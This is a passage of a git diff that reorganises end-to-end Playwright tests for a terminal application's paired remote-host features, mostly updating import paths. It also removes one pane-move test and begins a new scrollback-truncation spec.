'../layout/terminal-pane-identity' export const KEY_LATENCY_SAMPLES = 'abcdefghijklmnop' export const MAX_MEDIAN_KEY_LATENCY_MS = 250 diff --git a/tests/e2e/typing-load-workspaces.ts b/tests/e2e/terminal/performance/typing-load-workspaces.ts similarity index 96% rename from tests/e2e/typing-load-workspaces.ts rename to tests/e2e/terminal/performance/typing-load-workspaces.ts index 8c48910e2f1..12411164c06 100644 --- a/tests/e2e/typing-load-workspaces.ts +++ b/tests/e2e/terminal/performance/typing-load-workspaces.ts @@ -1,5 +1,5 @@ import type { Page } from '@stablyai/playwright-test' -import { switchToWorktree } from './helpers/store' +import { switchToWorktree } from '../../desktop/renderer-probes/store' import { ensureActiveWorktreePaneLoad, type TerminalLoadPane diff --git a/tests/e2e/typing-renderer-cpu-profile.ts b/tests/e2e/terminal/performance/typing-renderer-cpu-profile.ts similarity index 100% rename from tests/e2e/typing-renderer-cpu-profile.ts rename to tests/e2e/terminal/performance/typing-renderer-cpu-profile.ts diff --git a/tests/e2e/typing-scale-census.ts b/tests/e2e/terminal/performance/typing-scale-census.ts similarity index 66% rename from tests/e2e/typing-scale-census.ts rename to tests/e2e/terminal/performance/typing-scale-census.ts index c1fadaf6cf8..f7337c07cba 100644 --- a/tests/e2e/typing-scale-census.ts +++ b/tests/e2e/terminal/performance/typing-scale-census.ts @@ -1,6 +1,6 @@ import type { Page } from '@stablyai/playwright-test' -import type { TypingDiagnosticBridge } from '../../src/renderer/src/diagnostics/typing-latency/diagnostic' -import type { TypingLatencyReport } from '../../src/renderer/src/diagnostics/typing-latency/diagnostic-report' +import type { TypingDiagnosticBridge } from '../../../../src/renderer/src/diagnostics/typing-latency/diagnostic' +import type { TypingLatencyReport } from '../../../../src/renderer/src/diagnostics/typing-latency/diagnostic-report' /** Reads the existing census without enabling per-keystroke diagnostic instrumentation. */ export async function readTypingScaleCensus( diff --git a/tests/e2e/helpers/restored-terminal-input-readiness.ts b/tests/e2e/terminal/readiness/restored-terminal-input-readiness.ts similarity index 96% rename from tests/e2e/helpers/restored-terminal-input-readiness.ts rename to tests/e2e/terminal/readiness/restored-terminal-input-readiness.ts index 29b064a9191..9cfee095e67 100644 --- a/tests/e2e/helpers/restored-terminal-input-readiness.ts +++ b/tests/e2e/terminal/readiness/restored-terminal-input-readiness.ts @@ -1,6 +1,6 @@ import { randomUUID } from 'node:crypto' import type { Page } from '@stablyai/playwright-test' -import { buildFreshShellProbeInputSequence } from '../terminal-probe-input-sequence' +import { buildFreshShellProbeInputSequence } from '../input/terminal-probe-input-sequence' type ReadinessAttempt = { marker: string diff --git a/tests/e2e/helpers/startup-exec-readiness-oracle.ts b/tests/e2e/terminal/readiness/startup-exec-readiness-oracle.ts similarity index 93% rename from tests/e2e/helpers/startup-exec-readiness-oracle.ts rename to tests/e2e/terminal/readiness/startup-exec-readiness-oracle.ts index fb03eee0ca5..eb8085acc93 100644 --- a/tests/e2e/helpers/startup-exec-readiness-oracle.ts +++ b/tests/e2e/terminal/readiness/startup-exec-readiness-oracle.ts @@ -5,12 +5,14 @@ import type { RuntimeTerminalListResult, RuntimeTerminalRead, RuntimeTerminalShow -} from '../../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { toWebTerminalSurfaceTabId } from '../../../src/shared/workspace-layout/terminal-surface-id' -import { expect } from './orca-app' -import { getTerminalContent, waitForActivePanePtyId } from './terminal' -import { readFreshTerminalInventory } from './terminal-inventory-observation' -import { quotePosixShell } from '../../../src/shared/shell/launch/shell-argument-quoting' +} from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import { toWebTerminalSurfaceTabId } from '../../../../src/shared/workspace-layout/terminal-surface-id' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActivePanePtyId } from '../input/terminal' +import { getTerminalContent } from '../layout/terminal-pane-identity' +import { readFreshTerminalInventory } from '../layout/terminal-inventory-observation' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' const RECOVERY_DEADLINE_MS = 8_000 // The host's shell-ready deadline (SHELL_READY_TIMEOUT_MS): a profile exec drops the ready marker, so the command waits for it. diff --git a/tests/e2e/helpers/host-session-tabs.ts b/tests/e2e/terminal/remote-hosts/host-session-tabs.ts similarity index 90% rename from tests/e2e/helpers/host-session-tabs.ts rename to tests/e2e/terminal/remote-hosts/host-session-tabs.ts index 1d63112002a..73ecdfc2881 100644 --- a/tests/e2e/helpers/host-session-tabs.ts +++ b/tests/e2e/terminal/remote-hosts/host-session-tabs.ts @@ -1,5 +1,5 @@ -import type { RuntimeClient } from '../../../src/cli/runtime/client' -import type { RuntimeMobileSessionTabsResult } from '../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' +import type { RuntimeClient } from '../../../../src/cli/runtime/client' +import type { RuntimeMobileSessionTabsResult } from '../../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' // Read authoritative host tabs directly so a copied client ownership policy cannot weaken close assertions. export async function readHostTabs( diff --git a/tests/e2e/helpers/paired-desktop-server-terminal-tab.ts b/tests/e2e/terminal/remote-hosts/paired-desktop-server-terminal-tab.ts similarity index 85% rename from tests/e2e/helpers/paired-desktop-server-terminal-tab.ts rename to tests/e2e/terminal/remote-hosts/paired-desktop-server-terminal-tab.ts index 5dd8c826a9b..018843f3a7c 100644 --- a/tests/e2e/helpers/paired-desktop-server-terminal-tab.ts +++ b/tests/e2e/terminal/remote-hosts/paired-desktop-server-terminal-tab.ts @@ -1,10 +1,11 @@ // Match server session-tab handles to the paired desktop’s bound panes. -import type { RuntimeMobileSessionTabsResult } from '../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import { toRemoteRuntimePtyId } from '../../../src/shared/remote-runtime/remote-runtime-pty-id' -import { toWebTerminalSurfaceTabId } from '../../../src/shared/workspace-layout/terminal-surface-id' -import { expect } from './orca-app' -import type { HeadlessPairedRuntimeHost } from './headless-paired-runtime-host' -import type { PairedElectronClient } from './paired-electron-client' +import type { RuntimeMobileSessionTabsResult } from '../../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' +import { toRemoteRuntimePtyId } from '../../../../src/shared/remote-runtime/remote-runtime-pty-id' +import { toWebTerminalSurfaceTabId } from '../../../../src/shared/workspace-layout/terminal-surface-id' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import type { HeadlessPairedRuntimeHost } from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' +import type { PairedElectronClient } from '../../remote/paired-runtime/client-hosts/paired-electron-client' export async function readHostHandles( host: HeadlessPairedRuntimeHost, diff --git a/tests/e2e/helpers/paired-host-terminal.ts b/tests/e2e/terminal/remote-hosts/paired-host-terminal.ts similarity index 98% rename from tests/e2e/helpers/paired-host-terminal.ts rename to tests/e2e/terminal/remote-hosts/paired-host-terminal.ts index f0aef86712d..4a8ab9cb6f2 100644 --- a/tests/e2e/helpers/paired-host-terminal.ts +++ b/tests/e2e/terminal/remote-hosts/paired-host-terminal.ts @@ -4,7 +4,7 @@ import { type Page, expect } from '@stablyai/playwright-test' import { HOST_TERMINAL_SURFACE_SEPARATOR, toWebTerminalSurfaceTabId -} from '../../../src/shared/workspace-layout/terminal-surface-id' +} from '../../../../src/shared/workspace-layout/terminal-surface-id' export type PairedHostTerminal = { /** The host's own tab id, for host-side RPCs. */ diff --git a/tests/e2e/helpers/remote-terminal-lifecycle-observer.ts b/tests/e2e/terminal/remote-hosts/remote-terminal-lifecycle-observer.ts similarity index 100% rename from tests/e2e/helpers/remote-terminal-lifecycle-observer.ts rename to tests/e2e/terminal/remote-hosts/remote-terminal-lifecycle-observer.ts diff --git a/tests/e2e/helpers/streaming-terminal-cleanup.ts b/tests/e2e/terminal/remote-hosts/streaming-terminal-cleanup.ts similarity index 100% rename from tests/e2e/helpers/streaming-terminal-cleanup.ts rename to tests/e2e/terminal/remote-hosts/streaming-terminal-cleanup.ts diff --git a/tests/e2e/headless-paired-remote-terminal-early-typing.spec.ts b/tests/e2e/terminal/remote-input/headless-paired-remote-terminal-early-typing.spec.ts similarity index 92% rename from tests/e2e/headless-paired-remote-terminal-early-typing.spec.ts rename to tests/e2e/terminal/remote-input/headless-paired-remote-terminal-early-typing.spec.ts index edb339aa231..d7142fcd7fc 100644 --- a/tests/e2e/headless-paired-remote-terminal-early-typing.spec.ts +++ b/tests/e2e/terminal/remote-input/headless-paired-remote-terminal-early-typing.spec.ts @@ -1,10 +1,14 @@ import { existsSync, mkdirSync, rmSync, writeFileSync } from 'node:fs' import path from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedWebClient, type PairedWebClient } from './helpers/paired-electron-client' -import { focusActiveTerminalInput } from './helpers/terminal' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { launchHeadlessPairedRuntimeHost } from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' +import { + launchPairedWebClient, + type PairedWebClient +} from '../../remote/paired-runtime/client-hosts/paired-electron-client' +import { focusActiveTerminalInput } from '../input/terminal' const ROUNDS = 3 const PROMPT = 'EARLY_TYPING_PROMPT$ ' diff --git a/tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts b/tests/e2e/terminal/remote-input/headless-paired-remote-terminal-stall-recovery.spec.ts similarity index 90% rename from tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts rename to tests/e2e/terminal/remote-input/headless-paired-remote-terminal-stall-recovery.spec.ts index 5251dad137b..d045f849d36 100644 --- a/tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts +++ b/tests/e2e/terminal/remote-input/headless-paired-remote-terminal-stall-recovery.spec.ts @@ -2,13 +2,15 @@ import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' import type { Page } from '@stablyai/playwright-test' -import type { RuntimeTerminalRead } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedWebClient } from './helpers/paired-electron-client' -import { getTerminalContent, waitForActivePanePtyId } from './helpers/terminal' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' +import type { RuntimeTerminalRead } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import { toWebTerminalSurfaceTabId } from '../../../../src/shared/workspace-layout/terminal-surface-id' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { launchHeadlessPairedRuntimeHost } from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' +import { launchPairedWebClient } from '../../remote/paired-runtime/client-hosts/paired-electron-client' +import { waitForActivePanePtyId } from '../input/terminal' +import { getTerminalContent } from '../layout/terminal-pane-identity' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' const MIN_EXHAUSTED_ACK_BYTES = 400 * 1024 const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-headless-stalled-stream-')) diff --git a/tests/e2e/remote-terminal-input-model-link.ts b/tests/e2e/terminal/remote-input/remote-terminal-input-model-link.ts similarity index 95% rename from tests/e2e/remote-terminal-input-model-link.ts rename to tests/e2e/terminal/remote-input/remote-terminal-input-model-link.ts index fb67dbf04b5..4bcfb8aff3b 100644 --- a/tests/e2e/remote-terminal-input-model-link.ts +++ b/tests/e2e/terminal/remote-input/remote-terminal-input-model-link.ts @@ -1,16 +1,16 @@ -import { RpcDispatcher } from '../../src/main/runtime/rpc/dispatcher' -import { TERMINAL_MULTIPLEX_METHODS } from '../../src/main/runtime/rpc/methods/terminal/terminal-multiplex-method' -import type { OrcaRuntimeService } from '../../src/main/runtime/orca-runtime' +import { RpcDispatcher } from '../../../../src/main/runtime/rpc/dispatcher' +import { TERMINAL_MULTIPLEX_METHODS } from '../../../../src/main/runtime/rpc/methods/terminal/terminal-multiplex-method' +import type { OrcaRuntimeService } from '../../../../src/main/runtime/orca-runtime' import { TerminalStreamOpcode, decodeTerminalStreamFrame, decodeTerminalStreamText, type TerminalStreamFrame -} from '../../src/shared/terminal/stream/terminal-stream-protocol' +} from '../../../../src/shared/terminal/stream/terminal-stream-protocol' import { createHostTerminalRuntimeStub, type HostTerminalRuntimeStub -} from './cross-version-wire/terminal-streams/host-terminal-runtime-stub' +} from '../../cross-version-wire/terminal-streams/host-terminal-runtime-stub' export const MODEL_TERMINAL_HANDLE = 'terminal-1' diff --git a/tests/e2e/headless-paired-remote-terminal-reveal-grid.spec.ts b/tests/e2e/terminal/remote-layout/headless-paired-remote-terminal-reveal-grid.spec.ts similarity index 91% rename from tests/e2e/headless-paired-remote-terminal-reveal-grid.spec.ts rename to tests/e2e/terminal/remote-layout/headless-paired-remote-terminal-reveal-grid.spec.ts index bb7f19f1394..6fba9c7db96 100644 --- a/tests/e2e/headless-paired-remote-terminal-reveal-grid.spec.ts +++ b/tests/e2e/terminal/remote-layout/headless-paired-remote-terminal-reveal-grid.spec.ts @@ -1,12 +1,17 @@ import { writeFileSync } from 'node:fs' import type { Page } from '@stablyai/playwright-test' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedWebClient, type PairedWebClient } from './helpers/paired-electron-client' -import { callColdActivationRuntime } from './helpers/paired-terminal-cold-activation-observation' -import { createPairedTerminalParkingFixture } from './helpers/paired-terminal-parking-fixture' -import { getTerminalContent, waitForActivePanePtyId } from './helpers/terminal' +import { toWebTerminalSurfaceTabId } from '../../../../src/shared/workspace-layout/terminal-surface-id' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { launchHeadlessPairedRuntimeHost } from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' +import { + launchPairedWebClient, + type PairedWebClient +} from '../../remote/paired-runtime/client-hosts/paired-electron-client' +import { callColdActivationRuntime } from '../remote-parking/paired-terminal-cold-activation-observation' +import { createPairedTerminalParkingFixture } from '../remote-parking/paired-terminal-parking-fixture' +import { waitForActivePanePtyId } from '../input/terminal' +import { getTerminalContent } from '../layout/terminal-pane-identity' const WARM_WORKTREE_COUNT = 4 diff --git a/tests/e2e/headless-paired-remote-terminal-viewer-size.spec.ts b/tests/e2e/terminal/remote-layout/headless-paired-remote-terminal-viewer-size.spec.ts similarity index 86% rename from tests/e2e/headless-paired-remote-terminal-viewer-size.spec.ts rename to tests/e2e/terminal/remote-layout/headless-paired-remote-terminal-viewer-size.spec.ts index 0f5949f1f6c..85f667751cb 100644 --- a/tests/e2e/headless-paired-remote-terminal-viewer-size.spec.ts +++ b/tests/e2e/terminal/remote-layout/headless-paired-remote-terminal-viewer-size.spec.ts @@ -1,11 +1,16 @@ import type { Page } from '@stablyai/playwright-test' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedWebClient, type PairedWebClient } from './helpers/paired-electron-client' -import { callColdActivationRuntime } from './helpers/paired-terminal-cold-activation-observation' -import { createPairedTerminalParkingFixture } from './helpers/paired-terminal-parking-fixture' -import { getTerminalContent, waitForActivePanePtyId } from './helpers/terminal' +import { toWebTerminalSurfaceTabId } from '../../../../src/shared/workspace-layout/terminal-surface-id' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { launchHeadlessPairedRuntimeHost } from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' +import { + launchPairedWebClient, + type PairedWebClient +} from '../../remote/paired-runtime/client-hosts/paired-electron-client' +import { callColdActivationRuntime } from '../remote-parking/paired-terminal-cold-activation-observation' +import { createPairedTerminalParkingFixture } from '../remote-parking/paired-terminal-parking-fixture' +import { waitForActivePanePtyId } from '../input/terminal' +import { getTerminalContent } from '../layout/terminal-pane-identity' // The most recent TERMINAL_WORKTREE_HOT_RETAIN_LIMIT worktrees stay warm, so park needs more. const WARM_WORKTREE_COUNT = 4 diff --git a/tests/e2e/paired-remote-terminal-pane-move-to-new-tab.spec.ts b/tests/e2e/terminal/remote-layout/paired-remote-terminal-pane-move-to-new-tab.spec.ts similarity index 58% rename from tests/e2e/paired-remote-terminal-pane-move-to-new-tab.spec.ts rename to tests/e2e/terminal/remote-layout/paired-remote-terminal-pane-move-to-new-tab.spec.ts index ac11477139a..ec0ffc8c34c 100644 --- a/tests/e2e/paired-remote-terminal-pane-move-to-new-tab.spec.ts +++ b/tests/e2e/terminal/remote-layout/paired-remote-terminal-pane-move-to-new-tab.spec.ts @@ -1,18 +1,18 @@ -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import type { RuntimeTerminalListResult } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' +import type { RuntimeMobileSessionTabsResult } from '../../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' +import type { RuntimeTerminalListResult } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { launchHeadlessPairedRuntimeHost } from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' +import { launchPairedElectronClient } from '../../remote/paired-runtime/client-hosts/paired-electron-client' +import '../../remote/paired-runtime/client-hosts/paired-client-host-session' + +import { toWebTerminalSurfaceTabId } from '../../../../src/shared/workspace-layout/terminal-surface-id' import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient -} from './helpers/paired-electron-client' -import { - callPairedRuntime, - waitForPairedClientWorktree -} from './helpers/paired-client-host-session' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { dragPaneOutToTabStrip, waitForBoundPanes } from './helpers/terminal-layout-journeys' -import { splitActiveTerminalPane } from './helpers/terminal' + dragPaneOutToTabStrip, + waitForBoundPanes +} from '../../layout/publication/terminal-layout-journeys' +import '../input/terminal' +import { splitActiveTerminalPane } from '../layout/terminal-pane-operations' const PANE = '.pane[data-leaf-id]:visible' const TAB = '[data-testid="sortable-tab"]' @@ -212,110 +212,3 @@ test('a pane moved to a new tab on a paired server workspace stays in its new ta // A server with a desktop window keeps its layout in that window, so the window makes the move; // the pane must stay in the tab this desktop drew, not flash and go back into its split. -test('a pane moved to a new tab on a server with a desktop window stays in its new tab', async ({ - orcaPage -}, testInfo) => { - // Why: launches a second, paired Electron client next to the server's own window. - test.setTimeout(200_000) - const worktreeId = await orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId) - if (!worktreeId) { - throw new Error('Window host has no active seeded workspace') - } - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const desktop = await launchPairedElectronClient(offer, testInfo, 'window host pane move') - const page = desktop.page - try { - await waitForPairedClientWorktree(page, worktreeId) - const created = await callPairedRuntime<{ tab: { parentTabId: string } }>( - page, - desktop.environmentId, - 'session.tabs.createTerminal', - { worktree: `id:${worktreeId}`, activate: false, select: false, navigation: 'caller' } - ) - const sourceTabId = toWebTerminalSurfaceTabId(created.tab.parentTabId) - await page.evaluate((id) => window.__store?.getState().setActiveWorktree(id), worktreeId) - const sourceTab = page.locator(`${TAB}[data-tab-id="${sourceTabId}"]`) - await expect(sourceTab).toBeVisible({ timeout: 30_000 }) - await sourceTab.click() - await waitForBoundPanes(page, 1) - const firstLeafId = await page.locator(PANE).first().getAttribute('data-leaf-id') - const hostTerminalOf = async (leafId: string | null): Promise => { - const { terminals } = await callPairedRuntime( - page, - desktop.environmentId, - 'terminal.list', - { worktree: `id:${worktreeId}` } - ) - return terminals.find((terminal) => terminal.leafId === leafId)?.tabId ?? null - } - // Split once the server lists the first terminal, as a user splits a pane that is up. - await expect.poll(() => hostTerminalOf(firstLeafId), { timeout: 30_000 }).not.toBeNull() - await splitActiveTerminalPane(page, 'vertical') - await waitForBoundPanes(page, 2) - const leafIds = await page - .locator(PANE) - .evaluateAll((panes) => panes.map((pane) => pane.getAttribute('data-leaf-id') ?? '')) - const movedLeafId = leafIds.find((id) => id !== firstLeafId)! - const tabCount = await page.locator(TAB).count() - await expect.poll(() => hostTerminalOf(movedLeafId)).toBe(created.tab.parentTabId) - - // The move is asynchronous, so a tab that appeared and was taken away again is the flicker. - await page.evaluate((id) => { - const count = (): number => (window.__store?.getState().tabsByWorktree[id] ?? []).length - const before = count() - let added = 0 - window.__store?.subscribe(() => { - added = Math.max(added, count() - before) - // Tabs added at most, then now, relative to the drop. - document.body.dataset.paneMoveTabCounts = `${added}/${count() - before}` - }) - }, worktreeId) - await dragPaneOutToTabStrip(page, worktreeId, movedLeafId) - await expect(page.locator(TAB)).toHaveCount(tabCount + 1, { timeout: 15_000 }) - - let hostTabOfMovedLeaf = '' - await expect - .poll( - async () => { - // The server briefly cannot name a terminal's surface while its window is moving it. - hostTabOfMovedLeaf = (await hostTerminalOf(movedLeafId).catch(() => null)) ?? '' - return hostTabOfMovedLeaf !== '' && hostTabOfMovedLeaf !== created.tab.parentTabId - }, - { timeout: 15_000, message: 'the server window never moved the pane' } - ) - .toBe(true) - // The window keeps the tab id this desktop drew, so the next snapshot does not swap tabs. - const movedTab = page.locator( - `${TAB}[data-tab-id="${toWebTerminalSurfaceTabId(hostTabOfMovedLeaf)}"]` - ) - await expect(movedTab).toHaveCount(1) - await expect - .poll(() => - orcaPage.evaluate( - ({ tabId, leafId }) => { - const root = window.__store?.getState().terminalLayoutsByTabId[tabId]?.root - return root?.type === 'leaf' && root.leafId === leafId - }, - { tabId: hostTabOfMovedLeaf, leafId: movedLeafId } - ) - ) - .toBe(true) - - // A rename published after the move fences the check: once this desktop draws it, it has - // applied every server snapshot since the move, any of which would have pulled the pane back. - const fence = `moved-${Date.now()}` - await callPairedRuntime(page, desktop.environmentId, 'session.tabs.setTabProps', { - worktree: `id:${worktreeId}`, - tabId: hostTabOfMovedLeaf, - customTitle: fence - }) - await expect(movedTab).toContainText(fence, { timeout: 15_000 }) - expect(await page.evaluate(() => document.body.dataset.paneMoveTabCounts ?? null)).toBe('1/1') - await sourceTab.click() - await waitForBoundPanes(page, 1) - await expect(page.locator(`${PANE}[data-leaf-id="${movedLeafId}"]`)).toHaveCount(0) - expect(await hostTerminalOf(firstLeafId)).toBe(created.tab.parentTabId) - } finally { - await desktop.dispose() - } -}) diff --git a/tests/e2e/helpers/remote-session-bulk-open-fixture.ts b/tests/e2e/terminal/remote-layout/remote-session-bulk-open-fixture.ts similarity index 96% rename from tests/e2e/helpers/remote-session-bulk-open-fixture.ts rename to tests/e2e/terminal/remote-layout/remote-session-bulk-open-fixture.ts index 1a8065e247b..89771fd8908 100644 --- a/tests/e2e/helpers/remote-session-bulk-open-fixture.ts +++ b/tests/e2e/terminal/remote-layout/remote-session-bulk-open-fixture.ts @@ -1,7 +1,7 @@ import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' -import { quotePosixShell } from '../../../src/shared/shell/launch/shell-argument-quoting' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' function fixtureCommand(fixturePath: string, marker: string): string { const command = [process.execPath, fixturePath, marker] diff --git a/tests/e2e/helpers/remote-session-bulk-open-oracle.ts b/tests/e2e/terminal/remote-layout/remote-session-bulk-open-oracle.ts similarity index 95% rename from tests/e2e/helpers/remote-session-bulk-open-oracle.ts rename to tests/e2e/terminal/remote-layout/remote-session-bulk-open-oracle.ts index 8b2ed8e8343..a253a189fc8 100644 --- a/tests/e2e/helpers/remote-session-bulk-open-oracle.ts +++ b/tests/e2e/terminal/remote-layout/remote-session-bulk-open-oracle.ts @@ -1,12 +1,13 @@ import { writeFileSync, mkdirSync } from 'node:fs' import path from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { toWebTerminalSurfaceTabId } from '../../../src/shared/workspace-layout/terminal-surface-id' -import { expect } from './orca-app' +import { toWebTerminalSurfaceTabId } from '../../../../src/shared/workspace-layout/terminal-surface-id' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { createRemoteSessionBulkOpenFixture } from './remote-session-bulk-open-fixture' -import { startRendererLagProbe } from '../paired-runtime-retention-metrics' -import { closeStreamingTerminals } from './streaming-terminal-cleanup' -import { waitForActivePanePtyId } from './terminal' +import { startRendererLagProbe } from '../remote-parking/paired-runtime-retention-metrics' +import { closeStreamingTerminals } from '../remote-hosts/streaming-terminal-cleanup' +import { waitForActivePanePtyId } from '../input/terminal' export const BULK_OPEN_WORKTREE_COUNT = 3 export const BULK_OPEN_TABS_PER_WORKTREE = 4 diff --git a/tests/e2e/helpers/host-created-terminal-retention-oracle.ts b/tests/e2e/terminal/remote-parking/host-created-terminal-retention-oracle.ts similarity index 97% rename from tests/e2e/helpers/host-created-terminal-retention-oracle.ts rename to tests/e2e/terminal/remote-parking/host-created-terminal-retention-oracle.ts index 25d9c6f37dc..79c80eb01dc 100644 --- a/tests/e2e/helpers/host-created-terminal-retention-oracle.ts +++ b/tests/e2e/terminal/remote-parking/host-created-terminal-retention-oracle.ts @@ -4,8 +4,8 @@ import { mkdtempSync, readFileSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' import { expect, type Page } from '@stablyai/playwright-test' -import { quotePosixShell } from '../../../src/shared/shell/launch/shell-argument-quoting' -import { isServeMintedPtySessionId } from '../../../src/shared/terminal/pty/lifecycle/pty-session-id-format' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' +import { isServeMintedPtySessionId } from '../../../../src/shared/terminal/pty/lifecycle/pty-session-id-format' export type RuntimeRpcCall = (method: string, params: unknown) => Promise diff --git a/tests/e2e/paired-remote-terminal-initial-snapshot-scrollback.spec.ts b/tests/e2e/terminal/remote-parking/paired-remote-terminal-initial-snapshot-scrollback.spec.ts similarity index 91% rename from tests/e2e/paired-remote-terminal-initial-snapshot-scrollback.spec.ts rename to tests/e2e/terminal/remote-parking/paired-remote-terminal-initial-snapshot-scrollback.spec.ts index fcf086f75f4..ca82a7b5e3e 100644 --- a/tests/e2e/paired-remote-terminal-initial-snapshot-scrollback.spec.ts +++ b/tests/e2e/terminal/remote-parking/paired-remote-terminal-initial-snapshot-scrollback.spec.ts @@ -2,19 +2,20 @@ import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' -import { expect, test } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { createRuntimeDesktopPairingOffer, launchPairedElectronClient -} from './helpers/paired-electron-client' +} from '../../remote/paired-runtime/client-hosts/paired-electron-client' import { callEnvironment, createPairedHostTerminal, openPairedClientTab, readPairedPaneContent, waitForPairedPaneMarker -} from './helpers/paired-host-terminal' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' +} from '../remote-hosts/paired-host-terminal' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' const LINE_COUNT = 300 const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-initial-scrollback-')) diff --git a/tests/e2e/terminal/remote-parking/paired-remote-terminal-truncated-tail-first-paint.spec.ts b/tests/e2e/terminal/remote-parking/paired-remote-terminal-truncated-tail-first-paint.spec.ts new file mode 100644 index 00000000000..674b434d0d0 --- /dev/null +++ b/tests/e2e/terminal/remote-parking/paired-remote-terminal-truncated-tail-first-paint.spec.ts @@ -0,0 +1,226 @@ +import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import os from 'node:os' +import path from 'node:path' +import type { Page } from '@stablyai/playwright-test' +import type { RuntimeTerminalRead } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import '../../../../src/shared/remote-runtime/protocol/protocol-version' +import '../../../../src/shared/terminal/runtime-policy/terminal-runtime-capabilities' + +import { toWebTerminalSurfaceTabId } from '../../../../src/shared/workspace-layout/terminal-surface-id' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { + createRuntimeDesktopPairingOffer, + launchPairedWebClient +} from '../../remote/paired-runtime/client-hosts/paired-electron-client' +import { waitForActivePanePtyId } from '../input/terminal' +import { getTerminalContent } from '../layout/terminal-pane-identity' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' + +const RETENTION_PARK_DELAY_MS = 100 +const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-paired-truncated-tail-')) +const fixturePath = path.join(scratch, 'truncated-tail-terminal.mjs') +writeFileSync( + fixturePath, + [ + 'const marker = process.argv[2]', + 'let flooded = false', + "process.stdout.write('REMOTE_TRUNCATED_TAIL_READY\\r\\n')", + "process.stdin.setEncoding('utf8')", + "process.stdin.on('data', (data) => {", + " if (!flooded && data.includes('GO')) {", + ' flooded = true', + " for (let row = 0; row < 4_000; row += 1) process.stdout.write(`overflow-${row}-${'x'.repeat(80)}\\r\\n`)", + ' process.stdout.write(`${marker}\\r\\n`)', + ' return', + ' }', + ' process.stdout.write(`LIVE:${data.trim()}\\r\\n`)', + '})', + 'process.stdin.resume()' + ].join('\n') +) + +test.afterAll(() => { + rmSync(scratch, { recursive: true, force: true }) +}) + +test.use({ + orcaAppExtraEnv: { + ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(RETENTION_PARK_DELAY_MS), + 